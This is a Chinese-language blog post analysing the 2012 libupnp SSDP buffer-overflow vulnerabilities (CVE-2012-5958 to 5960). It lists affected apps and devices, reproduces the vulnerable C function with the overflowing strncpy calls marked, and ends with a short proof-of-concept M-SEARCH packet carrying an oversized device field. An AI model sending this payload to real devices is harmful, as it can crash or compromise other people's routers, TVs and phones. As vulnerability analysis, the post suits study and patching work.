zoukankan      html  css  js  c++  java
  • libUpnp缓冲区溢出、拒绝服务等漏洞分析

    该漏洞存在于UPnP™设备的便携式SDK中,也叫做 libupnp。这个库是用来实现媒体播放(DLAN)或者NAT地址转换(UPnP IGD)。智能手机上的应用程序可用这些功能播放媒体文件或者利用用户的家庭网络连接到其他的设备。

    事实上,这些漏洞早在2012年12月份就已经修复了,然而仍然有很多app在使用存在漏洞的老版本SDK。统计发现有547个应用还在使用老版本的 libupnp,其中326个可从谷歌Play store中下载到,包括Netflix和腾讯QQ音乐。这些都是非常流行的应用,用户达百万,也就是说有数百万的用户还存在被攻击的可能性。另外,除了移动设备,路由器和智能电视也在之列。

    漏洞利用

    该漏洞存在于 libupnp库处理简单服务发现协议(SSDP)包过程中。该协议是 Universal Plug N’ Play (UPnP)标准的部分。在处理进程中会出现堆栈溢出,并且需要UDP1900端口打开。

    一个精心制作的包可造成缓冲区溢出,如下图中的代码,TempBuf 缓冲可溢出,并造成死机。

    进一步的研究发现,它不仅能造成死机,还可以在受害者设备上运行任意代码。如此以来,攻击者便可能会完全掌控受害者设备。

    漏洞代码如下:

    // version 1.6.17
     // cmd变量接收外部输入
     // 结构体Evt包含多个固定长度的缓冲区
     int unique_service_name(char *cmd, SsdpEvent *Evt) 
    { 
        char TempBuf[COMMAND_LEN]; 
        char *TempPtr = NULL; 
        char *Ptr = NULL; 
        char *ptr1 = NULL;
        char *ptr2 = NULL; 
        char *ptr3 = NULL; 
        int CommandFound = 0; 
        size_t n = (size_t)0; 
        if (strstr(cmd, "uuid:schemas") != NULL)
        { 
            ptr1 = strstr(cmd, ":device"); 
            if (ptr1 != NULL) 
                ptr2 = strstr(ptr1 + 1, ":"); 
            else 
                return -1; 
            if (ptr2 != NULL) 
                ptr3 = strstr(ptr2 + 1, ":"); 
            else 
                return -1; 
            if (ptr3 != NULL) 
            { 
                if (strlen("uuid:") + strlen(ptr3 + 1) >= sizeof(Evt->UDN)) 
                    return -1; 
                snprintf(Evt->UDN, sizeof(Evt->UDN), "uuid:%s", ptr3 + 1); 
            } 
            else 
                return -1;
            ptr1 = strstr(cmd, ":"); 
            if (ptr1 != NULL) 
            { 
                n = (size_t)ptr3 - (size_t)ptr1; 
                strncpy(TempBuf, ptr1, n);                            // CVE-2012-5958
                TempBuf[n] = ''; 
                if (strlen("urn") + strlen(TempBuf) >= sizeof(Evt->DeviceType)) 
                    return -1; 
                snprintf(Evt->DeviceType, sizeof(Evt->DeviceType), "urn%s", TempBuf); 
            } 
            else 
                return -1; 
            return 0; 
        } 
        if ((TempPtr = strstr(cmd, "uuid")) != NULL) 
        { 
            if ((Ptr = strstr(cmd, "::")) != NULL) 
            { 
                n = (size_t)Ptr - (size_t)TempPtr; 
                strncpy(Evt->UDN, TempPtr, n);                        // CVE-2012-5959
                Evt->UDN[n] = ''; 
            }
            else 
            {
                memset(Evt->UDN, 0, sizeof(Evt->UDN)); 
                strncpy(Evt->UDN, TempPtr, sizeof(Evt->UDN) - 1); 
            } 
            CommandFound = 1; 
        } 
        if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":service:") != NULL) 
        { 
            if ((TempPtr = strstr(cmd, "urn")) != NULL) 
            { 
                memset(Evt->ServiceType, 0, sizeof(Evt->ServiceType)); 
                strncpy(Evt->ServiceType, TempPtr, sizeof(Evt->ServiceType) - 1);
                CommandFound = 1; 
            } 
        }
        if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":device:") != NULL) 
        { 
            if ((TempPtr = strstr(cmd, "urn")) != NULL) 
            { 
                memset(Evt->DeviceType, 0, sizeof(Evt->DeviceType)); 
                strncpy(Evt->DeviceType, TempPtr, sizeof(Evt->DeviceType) - 1); 
                CommandFound = 1; 
            } 
        } 
        if ((TempPtr = strstr(cmd, "::upnp:rootdevice")) != NULL) 
        { 
            /* Everything before "::upnp::rootdevice" is the UDN. */ 
            if (TempPtr != cmd) 
            { 
                n = (size_t)TempPtr - (size_t)cmd; 
                strncpy(Evt->UDN, cmd, n);                            // CVE-2012-5960
                Evt->UDN[n] = 0; 
                CommandFound = 1; 
            } 
        } 
        if (CommandFound == 0) 
            return -1; 
        return 0; 
    }

    Poc脚本如下:

    M-SEARCH * HTTP/1.1
     Host:239.255.255.250:1900 
    ST:uuid:schemas:device:AAAA[…]AAAA:anything 
    Man:"ssdp:discover" 
    MX:3
  • 相关阅读:
    [ 测试管理 ] 如何描述缺陷报告?
    [ 测试思维 ] 启发式测试策略模型(HTSM)
    Linux tcpdump命令使用方法
    Linux创建SSH信任关系
    [ Shell入门教程 ] 通配符与基础正则表达式、扩展正则表达式
    [ Shell入门教程 ] shell字符串基本操作
    Shell多进程获取未使用IP方法
    [ Shell入门教程 ] 字符串空格和文件空行删除
    [ Shell入门教程 ] Shell编程中数值计算方法实例
    [ Shell入门教程 ] echo和printf使用实例
  • 原文地址:https://www.cnblogs.com/Shepherdzhao/p/7570632.html
Copyright © 2011-2022 走看看